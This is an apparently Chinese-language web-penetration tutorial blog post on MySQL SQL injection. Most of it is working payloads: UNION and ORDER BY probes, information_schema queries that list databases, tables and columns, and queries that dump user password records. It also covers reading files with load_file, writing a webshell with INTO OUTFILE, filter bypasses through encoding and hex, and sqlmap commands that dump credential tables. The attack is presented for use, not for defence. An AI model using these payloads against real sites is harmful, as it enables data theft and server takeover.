Web渗透笔记--01--SQL Injection

本文深入讲解了SQL注入的原理及实战技巧,包括寻找注入点、获取数据库内容、绕过防御措施等内容,并介绍了如何利用工具进行自动化攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、SQL注入原理
在用户所访问的页面需要与数据库进行交互时,由于网站没有对提交的数据进行过滤,用户输入数据变成了访问数据库时所执行sql语句的一部分,导致用户可以通过构造特定的输入,使其执行相应的sql语句得到想要的结果。

2、mysql数据库注入
首先需要了解mysql数据库的sql语句语法,个人觉得需要特别注意的是sql语句的注释方式,因为在写注入语句时,往往需要配合注释来构造语句,或者屏蔽掉程序本身后面的语句,mysql中sql语句注释分为三种:

   1.“#”, 注释对应行  (name=root# )
   2.-- ”(--%20) ,表示该行到此结束(注意双划线后面至少需要一个空格,即%20)(如name=root' --%20ssss ,不会去解析后面的ssss) 
   3.“/*  注释内容  */”,注释中间的内容

3、寻找注入点
可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方,如“xxx.jsp?id=123”这种形式,很可能在SQL语句中是这样的“select colume_name from table_name where id = 123”。

  • 测试注入点的时候,最简单的是添加单引号,如果出现数据库错误之类的提示,说明这里存在注入漏洞。例如,“xxx.jsp?id=123’ ”,如果程序员在编写代码接收由url传过来的id参数值时,没有对后面内容过滤单引号,sql语句就变成了“where id = 123’# ”,数据库会报错。但是这种错误很容易避免。
  • 第二种方法是“and 1=1”和“and 1=2”。
    name=root' and '1=1
    name=root' and 1=1--%20
    name=root' and 1=2#

根据注入参数类型的不同注入可以分为:数字型,字符型(包括中引文字符)以及搜索型(关键词搜索),由于他它们在sql语句中的差别,注入时,对于字符型需考虑单引号的使用,对于搜索型需考虑%。
搜索型注入其sql语句类似于:select * from 表名 where 字段 like ‘%关键字%’,
注入时格式为:‘ and 查询条件 and ‘%’=’ 。

4、获取数据库内容

获取数据库内容还是根据sql语句语法。
第一步:需要获得注入点的sql语句返回结果的列数。
(1)一种方法是利用“order by n –%20”,order by n是用来将返回结果按照第n列排序,用折半法尝试推出列数,正常返回结果说明存在第n列,实际列数大于等于n。
(2)另一种方法是利用union手动试,如“name=root’ union select null,null,null –%20”,因为union操作可以将多个select的结果按照合并,但是要求select返回结果的列数以及每一列结果类型都相同,而NULL可以转换成任意类型,所以用不同数量的NULL来试,直到正确,23333。
得到正确的列数后,可以对每个NULL类型进行更改,如“union select ‘1’ ,null,null –%20 ”试出每一列结果的数据类型。
第二步:获取数据库信息

这里用到了一个比较重要的mysql自带的数据库,information_schema,它提供了访问数据库元数据的方式,其中有几张比较重要的表:SCHEMATA、TABLES、COLUMNS,但是只有5.0以上版本才有次数据库,所以对于不同版本、不同类型的数据库,其注入方法是不同的。
还有一些常用的函数和方法:

 version():返回数据库版本
 database():返回当前注入点所查询的数据库名称
 user():返回当前用户(登陆用户)
 @version_compile_os:返回服务器操作系统
 load_file(file name):读取指定文件,以字符串形式返回文件内容
 into outfile  'path':将读取内容写入path所指文件中
 group_concat():返回多个结果
 concat_ws(separator,str1,str2,...):将str1和str2用sepatrator隔开显示
 mysql.user表:从中可以获取网站数据库总管理员账号密码
  • 查询信息:
name=root' union select concat_ws(0x5f,user(),version(),database()),2,3,4,5 --%20()

返回root@localhost_5.5.27_exercises

  • 获取所有数据库:
  union select group_concat(schema_name) from information_schema.schemata--%20
  union select group_concat(schema_name) from (select schema_name from information_schema.schemata)t--%20

返回information_schema,exercises,mysql,performance_schema,test

  • 获取所有表名:
  union select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()--%20union select GROUP_CONCAT(table_name) from (select * from infroamtion_schema.tables where table_scheme=database())t--%20

返回users

  • 获取指定表的所有列名:
  union select concat_ws(0x5f,column_name) from information_schema.columns where table_schema=database()--%20
  union select concat_ws(0x5f,column_name) from (select * from information_schema.columns where table_schema=database())t--%20

返回id,name,age,groupid,passwd

  • 获取记录:
union select concat_ws(0x5f,name,passwd) from users--%20

返回admin_admin,root_admin21,user1_secret,user2_azerty.
也可以在concat_ws(0x5f,name,passwd)前面加hex(),unhex(hex()),convert()函数

  • 判断是否存在某个表:
and 0<>(select count(*) from admin)--%20.

第三步:进一步渗透
获得了root或者更高权限之后,可以进行下一步的渗透:
1、查看文件获得相关信息(load_file(file name))
2、导入导出一句话木马拿shell(into outfile ‘path ’)
由于这里涉及到文件的路径问题,所以需要首先获得网站的目录结构,通常有三种方法:

  • 搜索引擎:直接在搜索引擎上搜索,如:site URL warning
  • 文件报错:在URL中添加路径信息,利用报错信息获取路径
  • 查看敏感文件:info.php,phpinfo.php,test.php等,这些文件中很可能会包含网站构建信息,可以找到相关路径

(除此之外,还可以通过数据库连接文件:conn.php,common.php,config.php等,得到连接数据库的用户名、密码等等。)
5、绕过
一般利用编码等方式进行绕过,如:无法使用#注释时使用%23,不能使用空格时使用%a0。
反正就是各种斗智斗勇。
引号绕过:

select column_name from information_schema.columns where table_name= "users"

如果引号被过滤,如果是要看注入点所在表的列名的话可以用database()代替,或者可以使用十六进制,如table_name=0x7573657273,此值可以通过python以下代码获得:

import binascii
print binascii.b2a_hex('users')

6、工具使用

  • sqlmap:支持多种数据库注入,各大提交注入等,python实现
  • burpsuit:java实现,包含多种功能
    sqlmap为例:
sqlmap.py  -u  地址    
sqlmap.py  -u  地址    --tables      (猜解表名)
sqlmap.py  -u  地址    --columns -T admin    (猜解指定表admin的列)
sqlmap.py  -u  地址    --dump -C “username,passwd” -T admin(输出admin表中的username和passwd列的内容)
sqlmap.py  -u  地址    --dump -all -T admin(输出admin表所有列的内容)

详细的使用方法参照手册。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值